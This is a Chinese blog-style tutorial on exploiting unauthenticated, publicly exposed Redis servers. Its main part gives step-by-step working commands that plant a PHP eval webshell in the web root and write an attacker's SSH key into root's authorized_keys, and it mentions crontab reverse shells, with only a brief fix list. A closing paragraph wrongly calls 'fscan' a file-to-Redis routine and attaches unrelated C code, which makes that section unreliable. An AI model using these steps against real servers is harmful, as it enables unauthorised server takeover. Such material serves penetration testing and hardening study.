13,Redis备份写入Shell以及公钥

利用redis 备份数据库文件写入shell
漏洞产生的条件有以下两点:
    1. redis服务绑定在0.0.0.0:6379端口,而且信任了其他IP,导致了Redis服务暴露在公网上
    2. 没有设置密码认证,可以免密登陆Redis服务
危害:
    1.导致敏感信息泄露,恶意执行flushall清空所有数据
    2.通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件
    3.如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器
    
    进入src目录
        使用make进行编译
            /src# make
    启动Redis服务: # ./redis-server 
    连接Redis服务: # ./redis-cli
    设置保存路径
        127.0.0.1:6379> CONFIG SET dir /var/www/html
    设置存储名字
        127.0.0.1:6379> CONFIG SET dbfilename demo.php
    设置写入内容    
        127.0.0.1:6379> set name "<?php eval($_GET[1]);?>"
    输入save保存即可在访问在/var/www/html下的demo.php
        保存: 127.0.0.1:6379> save
    浏览器访问: http://127.0.0.1/demo.php?1=phpinfo();
写入公钥
    条件:
        a、redis 服务以 root 账户运行
        b、redis 无密码或弱密码进行认证
        c、redis 监听在 0.0.0.0 公网上
    方法:
        a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
        b、上传 SSH 公钥获得 SSH 登录权限
        c、通过 crontab 反弹 shell
        d、slave 主从模式利用
    
    利用Redis写入公钥
        将id_rsa.pub导出为txt文件,需要将txt文件内容前后手动添加回车
    传输文件
        key_test# cat id_rsa.txt | redis-cli -x set wahaha
    设置保存路径
        127.0.0.1:6379> CONFIG SET dir /root/.ssh
    设置存储名字
        127.0.0.1:6379> CONFIG SET dbfilename authorized_keys
    输入save保存即可在/root/.ssh下查看
        127.0.0.1:6379> save
    使用公钥登录 ssh -i id_rsa root@ip
        # ssh -i id_rsa root@192.168.21.147
修复
    密码验证
    降权运行
    限制 ip/修改端口

fscan指的是将指定文件中的内容读取到Redis数据库中。写入Redis公钥的过程可以通过以下步骤实现: 1. 打开公钥文件,使用fopen函数打开文件,获取文件指针。 2. 读取公钥文件中的内容,使用fread函数读取公钥文件中的内容。 3. 将公钥文件中的内容写入Redis数据库,使用Redis的SET命令将读取到的公钥字符串写入Redis数据库中。 4. 关闭公钥文件,使用fclose函数关闭打开的文件指针。 以下是一个示例代码: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <hiredis/hiredis.h> #define PUBLIC_KEY_FILE "public_key.pem" int main() { // 打开公钥文件 FILE* fp = fopen(PUBLIC_KEY_FILE, "r"); if (fp == NULL) { printf("Failed to open public key file.\n"); return -1; } // 读取公钥文件中的内容 fseek(fp, 0L, SEEK_END); long file_size = ftell(fp); fseek(fp, 0L, SEEK_SET); char* public_key = malloc(file_size + 1); fread(public_key, file_size, 1, fp); public_key[file_size] = '\0'; fclose(fp); // 将公钥写入Redis数据库 redisContext* c = redisConnect("127.0.0.1", 6379); if (c == NULL || c->err) { printf("Failed to connect to Redis database.\n"); return -1; } redisReply* reply = (redisReply*) redisCommand(c, "SET public_key %s", public_key); free(public_key); if (reply == NULL || reply->type == REDIS_REPLY_ERROR) { printf("Failed to write public key to Redis database.\n"); return -1; } freeReplyObject(reply); redisFree(c); printf("Public key has been written to Redis database.\n"); return 0; } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值